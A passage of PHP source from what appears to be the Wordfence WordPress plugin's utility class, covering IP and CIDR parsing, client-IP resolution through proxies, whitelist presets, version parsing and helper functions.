"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff", ); /* * The above is generated by: * function gen_mask($prefix, $size = 128) { //Workaround to avoid overflow, split into four pieces $mask_1 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 1 * $size / 4 - $prefix))) - 1); $mask_2 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 2 * $size / 4 - $prefix))) - 1); $mask_3 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 3 * $size / 4 - $prefix))) - 1); $mask_4 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 4 * $size / 4 - $prefix))) - 1); return ($mask_1 ? pack('N', $mask_1) : "\0\0\0\0") . ($mask_2 ? pack('N', $mask_2) : "\0\0\0\0") . ($mask_3 ? pack('N', $mask_3) : "\0\0\0\0") . ($mask_4 ? pack('N', $mask_4) : "\0\0\0\0"); } $masks = array(); for ($i = 0; $i <= 128; $i++) { $mask = gen_mask($i); $chars = str_split($mask); $masks[] = implode('', array_map(function($c) { return '\\x' . bin2hex($c); }, $chars)); } echo 'array(' . "\n"; foreach ($masks as $index => $m) { echo "\t{$index} => \"{$m}\",\n"; } echo ')'; * */ if (isset($_network_cache[$subnet])) { list($bin_network, $prefix, $masked_network) = $_network_cache[$subnet]; $mask = $_masks[$prefix]; } else { list($network, $prefix) = array_pad(explode('/', $subnet, 2), 2, null); if (filter_var($network, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { // If no prefix was supplied, 32 is implied for IPv4 if ($prefix === null) { $prefix = 32; } // Validate the IPv4 network prefix if ($prefix < 0 || $prefix > 32) { return false; } // Increase the IPv4 network prefix to work in the IPv6 address space $prefix += 96; } else { // If no prefix was supplied, 128 is implied for IPv6 if ($prefix === null) { $prefix = 128; } // Validate the IPv6 network prefix if ($prefix < 1 || $prefix > 128) { return false; } } $mask = $_masks[$prefix]; $bin_network = self::inet_pton($network); $masked_network = $bin_network & $mask; $_network_cache[$subnet] = array($bin_network, $prefix, $masked_network); } if (isset($_ip_cache[$ip]) && isset($_ip_cache[$ip][$prefix])) { list($bin_ip, $masked_ip) = $_ip_cache[$ip][$prefix]; } else { $bin_ip = self::inet_pton($ip); $masked_ip = $bin_ip & $mask; if (!isset($_ip_cache[$ip])) { $_ip_cache[$ip] = array(); } $_ip_cache[$ip][$prefix] = array($bin_ip, $masked_ip); } return ($masked_ip === $masked_network); } /** * Convert CIDR notation to a wfUserIPRange object * * @param string $cidr * @return wfUserIPRange */ public static function CIDR2wfUserIPRange($cidr) { list($network, $prefix) = array_pad(explode('/', $cidr, 2), 2, null); $ip_range = new wfUserIPRange(); if (filter_var($network, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { // If no prefix was supplied, 32 is implied for IPv4 if ($prefix === null) { $prefix = 32; } // Validate the IPv4 network prefix if ($prefix < 0 || $prefix > 32) { return $ip_range; } // Increase the IPv4 network prefix to work in the IPv6 address space $prefix += 96; } else { // If no prefix was supplied, 128 is implied for IPv6 if ($prefix === null) { $prefix = 128; } // Validate the IPv6 network prefix if ($prefix < 1 || $prefix > 128) { return $ip_range; } } // Convert human readable address to 128 bit (IPv6) binary string // Note: self::inet_pton converts IPv4 addresses to IPv6 compatible versions $binary_network = self::inet_pton($network); $binary_mask = wfHelperBin::str2bin(str_pad(str_repeat('1', $prefix), 128, '0', STR_PAD_RIGHT)); // Calculate first and last address $binary_first = $binary_network & $binary_mask; $binary_last = $binary_network | ~ $binary_mask; // Convert binary addresses back to human readable strings $first = self::inet_ntop($binary_first); $last = self::inet_ntop($binary_last); if (filter_var($network, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { $first = self::expandIPv6Address($first); $last = self::expandIPv6Address($last); } // Split addresses into segments $first_array = preg_split('/[\.\:]/', $first); $last_array = preg_split('/[\.\:]/', $last); // Make sure arrays are the same size. IPv6 '::' could cause problems otherwise. // The strlen filter should leave zeros in place $first_array = array_pad(array_filter($first_array, 'strlen'), count($last_array), '0'); $range_segments = array(); foreach ($first_array as $index => $segment) { if ($segment === $last_array[$index]) { $range_segments[] = str_pad(ltrim($segment, '0'), 1, '0'); } else if ($segment === '' || $last_array[$index] === '') { $range_segments[] = ''; } else { $range_segments[] = "[". str_pad(ltrim($segment, '0'), 1, '0') . "-" . str_pad(ltrim($last_array[$index], '0'), 1, '0') . "]"; } } $delimiter = filter_var($network, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? '.' : ':'; $ip_range->setIPString(implode($delimiter, $range_segments)); return $ip_range; } /** * Return dot notation of IPv4 address. * * @param int $ip * @return string|bool */ public static function inet_ntoa($ip) { $long = 4294967295 - ($ip - 1); return long2ip(-$long); } /** * Return string representation of 32 bit int of the IP address. * * @param string $ip * @return string */ public static function inet_aton($ip) { $ip = preg_replace('/(?<=^|\.)0+([1-9])/', '$1', $ip); return sprintf("%u", ip2long($ip)); } /** * Return dot or colon notation of IPv4 or IPv6 address. * * @param string $ip * @return string|bool */ public static function inet_ntop($ip) { // trim this to the IPv4 equiv if it's in the mapped range if (strlen($ip) == 16 && substr($ip, 0, 12) == "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") { $ip = substr($ip, 12, 4); } return self::hasIPv6Support() ? @inet_ntop($ip) : self::_inet_ntop($ip); } /** * Return the packed binary string of an IPv4 or IPv6 address. * * @param string $ip * @return string */ public static function inet_pton($ip) { // convert the 4 char IPv4 to IPv6 mapped version. $pton = str_pad(self::hasIPv6Support() ? @inet_pton($ip) : self::_inet_pton($ip), 16, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00", STR_PAD_LEFT); return $pton; } /** * Added compatibility for hosts that do not have inet_pton. * * @param $ip * @return bool|string */ public static function _inet_pton($ip) { // IPv4 if (preg_match('/^(?:\d{1,3}(?:\.|$)){4}/', $ip)) { $octets = explode('.', $ip); $bin = chr($octets[0]) . chr($octets[1]) . chr($octets[2]) . chr($octets[3]); return $bin; } // IPv6 if (preg_match('/^((?:[\da-f]{1,4}(?::|)){0,8})(::)?((?:[\da-f]{1,4}(?::|)){0,8})$/i', $ip)) { if ($ip === '::') { return "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; } $colon_count = substr_count($ip, ':'); $dbl_colon_pos = strpos($ip, '::'); if ($dbl_colon_pos !== false) { $ip = str_replace('::', str_repeat(':0000', (($dbl_colon_pos === 0 || $dbl_colon_pos === strlen($ip) - 2) ? 9 : 8) - $colon_count) . ':', $ip); $ip = trim($ip, ':'); } $ip_groups = explode(':', $ip); $ipv6_bin = ''; foreach ($ip_groups as $ip_group) { $ipv6_bin .= pack('H*', str_pad($ip_group, 4, '0', STR_PAD_LEFT)); } return strlen($ipv6_bin) === 16 ? $ipv6_bin : false; } // IPv4 mapped IPv6 if (preg_match('/^(?:\:(?:\:0{1,4}){0,4}\:|(?:0{1,4}\:){5})ffff\:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i', $ip, $matches)) { $octets = explode('.', $matches[1]); return "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff" . chr($octets[0]) . chr($octets[1]) . chr($octets[2]) . chr($octets[3]); } return false; } /** * Added compatibility for hosts that do not have inet_ntop. * * @param $ip * @return bool|string */ public static function _inet_ntop($ip) { // IPv4 if (strlen($ip) === 4) { return ord($ip[0]) . '.' . ord($ip[1]) . '.' . ord($ip[2]) . '.' . ord($ip[3]); } // IPv6 if (strlen($ip) === 16) { // IPv4 mapped IPv6 if (substr($ip, 0, 12) == "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff") { return "::ffff:" . ord($ip[12]) . '.' . ord($ip[13]) . '.' . ord($ip[14]) . '.' . ord($ip[15]); } $hex = bin2hex($ip); $groups = str_split($hex, 4); $in_collapse = false; $done_collapse = false; foreach ($groups as $index => $group) { if ($group == '0000' && !$done_collapse) { if ($in_collapse) { $groups[$index] = ''; continue; } $groups[$index] = ':'; $in_collapse = true; continue; } if ($in_collapse) { $done_collapse = true; } $groups[$index] = ltrim($groups[$index], '0'); if (strlen($groups[$index]) === 0) { $groups[$index] = '0'; } } $ip = join(':', array_filter($groups, 'strlen')); $ip = str_replace(':::', '::', $ip); return $ip == ':' ? '::' : $ip; } return false; } /** * Verify PHP was compiled with IPv6 support. * * Some hosts appear to not have inet_ntop, and others appear to have inet_ntop but are unable to process IPv6 addresses. * * @return bool */ public static function hasIPv6Support() { return defined('AF_INET6'); } public static function hasLoginCookie(){ if(isset($_COOKIE)){ if(is_array($_COOKIE)){ foreach($_COOKIE as $key => $val){ if(strpos($key, 'wordpress_logged_in') === 0){ return true; } } } } return false; } public static function getBaseURL(){ return plugins_url('', WORDFENCE_FCPATH) . '/'; } public static function getPluginBaseDir(){ if(function_exists('wp_normalize_path')){ //Older WP versions don't have this func and we had many complaints before this check. if(defined('WP_PLUGIN_DIR')) { return wp_normalize_path(WP_PLUGIN_DIR . '/'); } return wp_normalize_path(WP_CONTENT_DIR . '/plugins/'); } else { if(defined('WP_PLUGIN_DIR')) { return WP_PLUGIN_DIR . '/'; } return WP_CONTENT_DIR . '/plugins/'; } } public static function makeRandomIP(){ return rand(11,230) . '.' . rand(0,255) . '.' . rand(0,255) . '.' . rand(0,255); } /** * Converts a truthy value to a boolean, checking in this order: * - already a boolean * - numeric (0 => false, otherwise true) * - 'false', 'f', 'no', 'n', or 'off' => false * - 'true', 't', 'yes', 'y', or 'on' => true * - empty value => false, otherwise true * * @param $value * @return bool */ public static function truthyToBoolean($value) { if ($value === true || $value === false) { return $value; } if (is_numeric($value)) { return !!$value; } if (preg_match('/^(?:f(?:alse)?|no?|off)$/i', $value)) { return false; } else if (preg_match('/^(?:t(?:rue)?|y(?:es)?|on)$/i', $value)) { return true; } return !empty($value); } /** * Converts a truthy value to 1 or 0. * * @see wfUtils::truthyToBoolean * * @param $value * @return int */ public static function truthyToInt($value) { return self::truthyToBoolean($value) ? 1 : 0; } /** * Returns the whitelist presets, which first grabs the bundled list and then merges the dynamic list into it. * * @return array */ public static function whitelistPresets() { static $_cachedPresets = null; if ($_cachedPresets === null) { include(dirname(__FILE__) . '/wfIPWhitelist.php'); /** @var array $wfIPWhitelist */ $currentPresets = wfConfig::getJSON('whitelistPresets', array()); if (is_array($currentPresets)) { $_cachedPresets = array_merge($wfIPWhitelist, $currentPresets); } else { $_cachedPresets = $wfIPWhitelist; } } return $_cachedPresets; } /** * Returns an array containing all whitelisted service IPs/ranges. The returned array is grouped by service * tag: array('service1' => array('range1', 'range2', range3', ...), ...) * * @param array|null $whitelistedServices If provided, use this service list for enabled/disabled resolution * @return array */ public static function whitelistedServiceIPs($whitelistedServices = null) { $result = array(); $whitelistPresets = self::whitelistPresets(); if ($whitelistedServices === null) { $whitelistedServices = wfConfig::getJSON('whitelistedServices', array()); } foreach ($whitelistPresets as $tag => $preset) { if (!isset($preset['n'])) { //Just an array of IPs/ranges $result[$tag] = $preset; continue; } if ((isset($preset['h']) && $preset['h']) || (isset($preset['f']) && $preset['f'])) { //Forced $result[$tag] = $preset['r']; continue; } if ((!isset($whitelistedServices[$tag]) && isset($preset['d']) && $preset['d']) || (isset($whitelistedServices[$tag]) && $whitelistedServices[$tag])) { $result[$tag] = $preset['r']; } } return $result; } /** * Get the list of whitelisted IPs and networks, which is a combination of preset IPs/ranges and user-entered * IPs/ranges. * * @param string $filter Group name to filter whitelist by * @return array */ public static function getIPWhitelist($filter = null) { static $wfIPWhitelist; if (!isset($wfIPWhitelist)) { $wfIPWhitelist = self::whitelistedServiceIPs(); //Append user ranges $wfIPWhitelist['user'] = array(); foreach (array_filter(explode(',', wfConfig::get('whitelisted'))) as $ip) { $wfIPWhitelist['user'][] = new wfUserIPRange($ip); } } $whitelist = array(); foreach ($wfIPWhitelist as $group => $values) { if ($filter === null || $group === $filter) { $whitelist = array_merge($whitelist, $values); } } return $whitelist; } /** * @param string $addr Should be in dot or colon notation (127.0.0.1 or ::1) * @return bool */ public static function isPrivateAddress($addr) { // Run this through the preset list for IPv4 addresses. if (filter_var($addr, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) { foreach (self::getIPWhitelist('private') as $a) { if (self::subnetContainsIP($a, $addr)) { return true; } } } return filter_var($addr, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6) !== false && filter_var($addr, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false; } /** * Expects an array of items. The items are either IP's or IP's separated by comma, space or tab. Or an array of IP's. * We then examine all IP's looking for a public IP and storing private IP's in an array. If we find no public IPs we return the first private addr we found. * * @param array $arr * @return bool|mixed */ private static function getCleanIP($arr){ $privates = array(); //Store private addrs until end as last resort. for($i = 0; $i < count($arr); $i++){ $item = $arr[$i]; if(is_array($item)){ foreach($item as $j){ // try verifying the IP is valid before stripping the port off if (!self::isValidIP($j)) { $j = preg_replace('/:\d+$/', '', $j); //Strip off port } if (self::isValidIP($j)) { if (self::isPrivateAddress($j)) { $privates[] = $j; } else { return $j; } } } continue; //This was an array so we can skip to the next item } $skipToNext = false; foreach(array(',', ' ', "\t") as $char){ if(strpos($item, $char) !== false){ $sp = explode($char, $item); $sp = array_reverse($sp); foreach($sp as $j){ $j = trim($j); if (!self::isValidIP($j)) { $j = preg_replace('/:\d+$/', '', $j); //Strip off port } if(self::isValidIP($j)){ if(self::isPrivateAddress($j)){ $privates[] = $j; } else { return $j; } } } $skipToNext = true; break; } } if($skipToNext){ continue; } //Skip to next item because this one had a comma, space or tab so was delimited and we didn't find anything. if (!self::isValidIP($item)) { $item = preg_replace('/:\d+$/', '', $item); //Strip off port } if(self::isValidIP($item)){ if(self::isPrivateAddress($item)){ $privates[] = $item; } else { return $item; } } } if(sizeof($privates) > 0){ return $privates[0]; //Return the first private we found so that we respect the order the IP's were passed to this function. } else { return false; } } /** * Expects an array of items. The items are either IP's or IP's separated by comma, space or tab. Or an array of IP's. * We then examine all IP's looking for a public IP and storing private IP's in an array. If we find no public IPs we return the first private addr we found. * * @param array $arr * @return bool|mixed */ private static function getCleanIPAndServerVar($arr, $trustedProxies = null) { $privates = array(); //Store private addrs until end as last resort. for($i = 0; $i < count($arr); $i++){ list($item, $var) = $arr[$i]; if(is_array($item)){ foreach($item as $j){ // try verifying the IP is valid before stripping the port off if (!self::isValidIP($j)) { $j = preg_replace('/:\d+$/', '', $j); //Strip off port } if (self::isValidIP($j)) { if (self::isIPv6MappedIPv4($j)) { $j = self::inet_ntop(self::inet_pton($j)); } if (self::isPrivateAddress($j)) { $privates[] = array($j, $var); } else { return array($j, $var); } } } continue; //This was an array so we can skip to the next item } $skipToNext = false; if ($trustedProxies === null) { $trustedProxies = self::unifiedTrustedProxies(); } foreach(array(',', ' ', "\t") as $char){ if(strpos($item, $char) !== false){ $sp = explode($char, $item); $sp = array_reverse($sp); foreach($sp as $index => $j){ $j = trim($j); if (!self::isValidIP($j)) { $j = preg_replace('/:\d+$/', '', $j); //Strip off port } if(self::isValidIP($j)){ if (self::isIPv6MappedIPv4($j)) { $j = self::inet_ntop(self::inet_pton($j)); } foreach ($trustedProxies as $proxy) { if (!empty($proxy)) { if (self::subnetContainsIP($proxy, $j) && $index < count($sp) - 1) { continue 2; } } } if(self::isPrivateAddress($j)){ $privates[] = array($j, $var); } else { return array($j, $var); } } } $skipToNext = true; break; } } if($skipToNext){ continue; } //Skip to next item because this one had a comma, space or tab so was delimited and we didn't find anything. if (!self::isValidIP($item)) { $item = preg_replace('/:\d+$/', '', $item); //Strip off port } if(self::isValidIP($item)){ if (self::isIPv6MappedIPv4($item)) { $item = self::inet_ntop(self::inet_pton($item)); } if(self::isPrivateAddress($item)){ $privates[] = array($item, $var); } else { return array($item, $var); } } } if(sizeof($privates) > 0){ return $privates[0]; //Return the first private we found so that we respect the order the IP's were passed to this function. } else { return false; } } /** * Returns an array of all trusted proxies, combining both the user-entered ones and those from the selected preset. * * @return string[] */ public static function unifiedTrustedProxies() { $trustedProxies = explode("\n", wfConfig::get('howGetIPs_trusted_proxies', '')); $preset = wfConfig::get('howGetIPs_trusted_proxy_preset'); $presets = wfConfig::getJSON('ipResolutionList', array()); if (is_array($presets) && isset($presets[$preset])) { $testIPs = array_merge($presets[$preset]['ipv4'], $presets[$preset]['ipv6']); foreach ($testIPs as $val) { if (strlen($val) > 0) { if (wfUtils::isValidIP($val) || wfUtils::isValidCIDRRange($val)) { $trustedProxies[] = $val; } } } } return $trustedProxies; } /** * @param string $ip * @return bool */ public static function isIPv6MappedIPv4($ip) { return preg_match('/^(?:\:(?:\:0{1,4}){0,4}\:|(?:0{1,4}\:){5})ffff\:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/i', $ip) > 0; } public static function extractHostname($str){ if(preg_match('/https?:\/\/([a-zA-Z0-9\.\-]+)(?:\/|$)/i', $str, $matches)){ return strtolower($matches[1]); } else { return false; } } /** * Returns the known server IPs, ordered by those as the best match for outgoing requests. * * @param bool $refreshCache * @return string[] */ public static function serverIPs($refreshCache = false) { static $cachedServerIPs = null; if (isset($cachedServerIPs) && !$refreshCache) { return $cachedServerIPs; } $serverIPs = array(); $storedIP = wfConfig::get('serverIP'); if (preg_match('/^(\d+);(.+)$/', $storedIP, $matches)) { //Format is 'timestamp;ip' $serverIPs[] = $matches[2]; } if (function_exists('dns_get_record')) { $storedDNS = wfConfig::get('serverDNS'); $usingCache = false; if (preg_match('/^(\d+);(\d+);(.+)$/', $storedDNS, $matches)) { //Format is 'timestamp;ttl;ip' $timestamp = $matches[1]; $ttl = $matches[2]; if ($timestamp + max($ttl, 86400) > time()) { $serverIPs[] = $matches[3]; $usingCache = true; } } if (!$usingCache) { $home = get_home_url(); if (preg_match('/^https?:\/\/([^\/]+)/i', $home, $matches)) { $host = strtolower($matches[1]); $cnameRaw = @dns_get_record($host, DNS_CNAME); $cnames = array(); $cnamesTargets = array(); if ($cnameRaw) { foreach ($cnameRaw as $elem) { if ($elem['host'] == $host) { $cnames[] = $elem; $cnamesTargets[] = $elem['target']; } } } $aRaw = @dns_get_record($host, DNS_A); $a = array(); if ($aRaw) { foreach ($aRaw as $elem) { if ($elem['host'] == $host || in_array($elem['host'], $cnamesTargets)) { $a[] = $elem; } } } $firstA = wfUtils::array_first($a); if ($firstA !== null) { $serverIPs[] = $firstA['ip']; wfConfig::set('serverDNS', time() . ';' . $firstA['ttl'] . ';' . $firstA['ip']); } } } } if (isset($_SERVER['SERVER_ADDR']) && wfUtils::isValidIP($_SERVER['SERVER_ADDR'])) { $serverIPs[] = $_SERVER['SERVER_ADDR']; } $serverIPs = array_unique($serverIPs); $cachedServerIPs = $serverIPs; return $serverIPs; } public static function getIP($refreshCache = false) { static $theIP = null; if (isset($theIP) && !$refreshCache) { return $theIP; } //For debugging. //return '54.232.205.132'; //return self::makeRandomIP(); // if no REMOTE_ADDR, it's probably running from the command line $ip = self::getIPAndServerVariable(); if (is_array($ip)) { list($IP, $variable) = $ip; $theIP = $IP; return $IP; } return false; } public static function getIPForField($field, $trustedProxies = null) { $ip = self::getIPAndServerVariable($field, $trustedProxies); if (is_array($ip)) { list($IP, $variable) = $ip; return $IP; } return false; } public static function getAllServerVariableIPs() { $variables = array('REMOTE_ADDR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR'); $ips = array(); foreach ($variables as $variable) { $ip = isset($_SERVER[$variable]) ? $_SERVER[$variable] : false; if ($ip && strpos($ip, ',') !== false) { $ips[$variable] = preg_replace('/[\s,]/', '', explode(',', $ip)); } else { $ips[$variable] = $ip; } } return $ips; } public static function getIPAndServerVariable($howGet = null, $trustedProxies = null) { $connectionIP = array_key_exists('REMOTE_ADDR', $_SERVER) ? array($_SERVER['REMOTE_ADDR'], 'REMOTE_ADDR') : array('127.0.0.1', 'REMOTE_ADDR'); if ($howGet === null) { $howGet = wfConfig::get('howGetIPs', false); } if($howGet){ if($howGet == 'REMOTE_ADDR'){ return self::getCleanIPAndServerVar(array($connectionIP), $trustedProxies); } else { $ipsToCheck = array( array((isset($_SERVER[$howGet]) ? $_SERVER[$howGet] : ''), $howGet), $connectionIP, ); return self::getCleanIPAndServerVar($ipsToCheck, $trustedProxies); } } else { $ipsToCheck = array(); $recommendedField = wfConfig::get('detectProxyRecommendation', ''); //Prioritize the result from our proxy check if done if (!empty($recommendedField) && $recommendedField != 'UNKNOWN' && $recommendedField != 'DEFERRED') { if (isset($_SERVER[$recommendedField])) { $ipsToCheck[] = array($_SERVER[$recommendedField], $recommendedField); } } $ipsToCheck[] = $connectionIP; if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ipsToCheck[] = array($_SERVER['HTTP_X_FORWARDED_FOR'], 'HTTP_X_FORWARDED_FOR'); } if (isset($_SERVER['HTTP_X_REAL_IP'])) { $ipsToCheck[] = array($_SERVER['HTTP_X_REAL_IP'], 'HTTP_X_REAL_IP'); } return self::getCleanIPAndServerVar($ipsToCheck, $trustedProxies); } return false; //Returns an array with a valid IP and the server variable, or false. } public static function getIPPreview($howGet = null, $trustedProxies = null) { $ip = self::getIPAndServerVariable($howGet, $trustedProxies); if (is_array($ip)) { list($IP, $variable) = $ip; if (isset($_SERVER[$variable]) && strpos($_SERVER[$variable], ',') !== false) { $items = preg_replace('/[\s,]/', '', explode(',', $_SERVER[$variable])); $output = ''; foreach ($items as $i) { if ($IP == $i) { $output .= ', ' . esc_html($i) . ''; } else { $output .= ', ' . esc_html($i); } } return substr($output, 2); } return '' . esc_html($IP) . ''; } return false; } public static function isValidIP($IP){ return filter_var($IP, FILTER_VALIDATE_IP) !== false; } public static function isValidCIDRRange($range) { $components = explode('/', $range); if (count($components) != 2) { return false; } list($ip, $prefix) = $components; if (!self::isValidIP($ip)) { return false; } if (!preg_match('/^\d+$/', $prefix)) { return false; } if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { if ($prefix < 0 || $prefix > 32) { return false; } } else { if ($prefix < 1 || $prefix > 128) { return false; } } return true; } public static function isValidEmail($email, $strict = false) { //We don't default to strict, full validation because poorly-configured servers can crash due to the regex PHP uses in filter_var($email, FILTER_VALIDATE_EMAIL) if ($strict) { return (filter_var($email, FILTER_VALIDATE_EMAIL) !== false); } return preg_match('/^[^@\s]+@[^@\s]+\.[^@\s]+$/i', $email) === 1; } public static function getRequestedURL() { if (isset($_SERVER['HTTP_HOST']) && $_SERVER['HTTP_HOST']) { $host = $_SERVER['HTTP_HOST']; } else if (isset($_SERVER['SERVER_NAME']) && $_SERVER['SERVER_NAME']) { $host = $_SERVER['SERVER_NAME']; } else { return null; } $prefix = 'http'; if (is_ssl()) { $prefix = 'https'; } return $prefix . '://' . $host . $_SERVER['REQUEST_URI']; } public static function editUserLink($userID){ return get_admin_url() . 'user-edit.php?user_id=' . $userID; } public static function tmpl($file, $data){ extract($data); ob_start(); include dirname(__FILE__) . DIRECTORY_SEPARATOR . $file; return ob_get_contents() . (ob_end_clean() ? "" : ""); } public static function bigRandomHex(){ return bin2hex(wfWAFUtils::random_bytes(16)); } public static function encrypt($str){ $key = wfConfig::get('encKey'); if(! $key){ wordfence::status(1, 'error', __("Wordfence error: No encryption key found!", 'wordfence')); return false; } $db = new wfDB(); return $db->querySingle("select HEX(AES_ENCRYPT('%s', '%s')) as val", $str, $key); } public static function decrypt($str){ $key = wfConfig::get('encKey'); if(! $key){ wordfence::status(1, 'error', __("Wordfence error: No encryption key found!", 'wordfence')); return false; } $db = new wfDB(); return $db->querySingle("select AES_DECRYPT(UNHEX('%s'), '%s') as val", $str, $key); } public static function lcmem(){ $trace=debug_backtrace(); $caller=array_shift($trace); $mem = memory_get_usage(true); error_log("$mem at " . $caller['file'] . " line " . $caller['line']); } public static function logCaller(){ $trace=debug_backtrace(); $caller=array_shift($trace); $c2 = array_shift($trace); error_log("Caller for " . $caller['file'] . " line " . $caller['line'] . " is " . $c2['file'] . ' line ' . $c2['line']); } public static function getWPVersion($forceRecheck = false){ if ($forceRecheck) { require(ABSPATH . 'wp-includes/version.php'); //defines $wp_version return $wp_version; } if(wordfence::$wordfence_wp_version){ return wordfence::$wordfence_wp_version; } else { global $wp_version; return $wp_version; } } public static function parse_version($version, $component = null) { $major = 0; $minor = 0; $patch = 0; $prerelease = ''; $build = ''; if (preg_match('/^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$/', $version, $matches)) { //semver $major = $matches[1]; $minor = $matches[2]; $patch = $matches[3]; if (preg_match('/^([^\+]+)\+(.*)$/', $version, $matches)) { $version = $matches[1]; $build = $matches[2]; } if (preg_match('/^([^\-]+)\-(.*)$/', $version, $matches)) { $version = $matches[1]; $prerelease = $matches[2]; } } else { //Parse as "PHP-standardized" (see version_compare docs: "The function first replaces _, - and + with a dot . in the version strings and also inserts dots . before and after any non number so that for example '4.3.2RC1' becomes '4.3.2.RC.1'.") $version = trim(preg_replace('/\.\.+/', '.', preg_replace('/([^0-9\.]+)/', '.$1.', preg_replace('/[_\-\+]+/', '.', $version))), '.'); $components = explode('.', $version); $i = 0; if (isset($components[$i]) && is_numeric($components[$i])) { $major = $components[$i]; $i++; } if (isset($components[$i]) && is_numeric($components[$i])) { $minor = $components[$i]; $i++; } if (isset($components[$i]) && is_numeric($components[$i])) { $patch = $components[$i]; $i++; } while (isset($components[$i]) && is_numeric($components[$i])) { if (!empty($build)) { $build .= '.'; } $build .= $components[$i]; $i++; } while (isset($components[$i])) { if (!empty($prerelease)) { $prerelease .= '.'; } if (preg_match('/^(?:dev|alpha|a|beta|b|rc|#|pl|p)$/i', $components[$i])) { $prerelease .= strtolower($components[$i]); if (isset($components[$i + 1])) { if (!preg_match('/^(?:a|b|rc|#|pl|p)$/i', $components[$i])) { $prerelease .= '-'; } $i++; } } $prerelease .= $components[$i]; $i++; } } $version = array( self::VERSION_MAJOR => $major, self::VERSION_MINOR => $minor, self::VERSION_PATCH => $patch, self::VERSION_PRE_RELEASE => $prerelease, self::VERSION_BUILD => $build, ); $version = array_filter($version, function($v) { return $v !== ''; }); if ($component === null) { return $version; } else if (isset($version[$component])) { return $version[$component]; } return null; } public static function isAdminPageMU(){ if(preg_match('/^[\/a-zA-Z0-9\-\_\s\+\~\!\^\.]*\/wp-admin\/network\//', $_SERVER['REQUEST_URI'])){ return true; } return false; } public static function getSiteBaseURL(){ return rtrim(site_url(), '/') . '/'; } public static function longestLine($data){ $lines = preg_split('/[\r\n]+/', $data); $max = 0; foreach($lines as $line){ $len = strlen($line); if($len > $max){ $max = $len; } } return $max; } public static function longestNospace($data){ $lines = preg_split('/[\r\n\s\t]+/', $data); $max = 0; foreach($lines as $line){ $len = strlen($line); if($len > $max){ $max = $len; } } return $max; } public static function requestMaxMemory(){ if(wfConfig::get('maxMem', false) && (int) wfConfig::get('maxMem') > 0){ $maxMem = (int) wfConfig::get('maxMem'); } else { $maxMem = 256; } if( function_exists('memory_get_usage') && ( (int) @ini_get('memory_limit') < $maxMem ) ){ self::iniSet('memory_limit', $maxMem . 'M'); } } public static function isAdmin($user = false){ if($user){ if(is_multisite()){ if(user_can($user, 'manage_network')){ return true; } } else { if(user_can($user, 'manage_options')){ return true; } } } else { if(is_multisite()){ if(current_user_can('manage_network')){ return true; } } else { if(current_user_can('manage_options')){ return true; } } } return false; } public static function hasTwoFactorEnabled($user = false) { if (!$user) { $user = get_user_by('ID', get_current_user_id()); } if (!$user) { return false; } $twoFactorUsers = wfConfig::get_ser('twoFactorUsers', array()); $hasActivatedTwoFactorUser = false; foreach ($twoFactorUsers as &$t) { if ($t[3] == 'activated') { $userID = $t[0]; if ($userID == $user->ID && wfUtils::isAdmin($user)) { $hasActivatedTwoFactorUser = true; } } } return $hasActivatedTwoFactorUser; } public static function isWindows(){ if(! self::$isWindows){ if(preg_match('/^win/i', PHP_OS)){ self::$isWindows = 'yes'; } else { self::$isWindows = 'no'; } } return self::$isWindows == 'yes' ? true : false; } public static function cleanupOneEntryPerLine($string) { $string = str_replace(",", "\n", $string); // fix old format return implode("\n", array_unique(array_filter(array_map('trim', explode("\n", $string))))); } public static function afterProcessingFile() { if (wfScanner::shared()->useLowResourceScanning()) { usleep(10000); //10 ms } } public static function getScanLock(){ //Windows does not support non-blocking flock, so we use time. $scanRunning = wfConfig::get('wf_scanRunning'); if($scanRunning && time() - $scanRunning < WORDFENCE_MAX_SCAN_LOCK_TIME){ return false; } wfConfig::set('wf_scanRunning', time()); return true; } public static function clearScanLock(){ global $wpdb; $wfdb = new wfDB(); $wfdb->truncate(wfDB::networkTable('wfHoover')); wfConfig::set('wf_scanRunning', ''); wfIssues::updateScanStillRunning(false); if (wfCentral::isConnected()) { wfCentral::updateScanStatus(); } } public static function getIPGeo($IP){ //Works with int or dotted $locs = self::getIPsGeo(array($IP)); if(isset($locs[$IP])){ return $locs[$IP]; } else { return false; } } public static function getIPsGeo($IPs){ //works with int or dotted. Outputs same format it receives. $IPs = array_unique($IPs); $toResolve = array(); $db = new wfDB(); $locsTable = wfDB::networkTable('wfLocs'); $IPLocs = array(); foreach($IPs as $IP){ $isBinaryIP = !self::isValidIP($IP); if ($isBinaryIP) { $ip_printable = wfUtils::inet_ntop($IP); $ip_bin = $IP; } 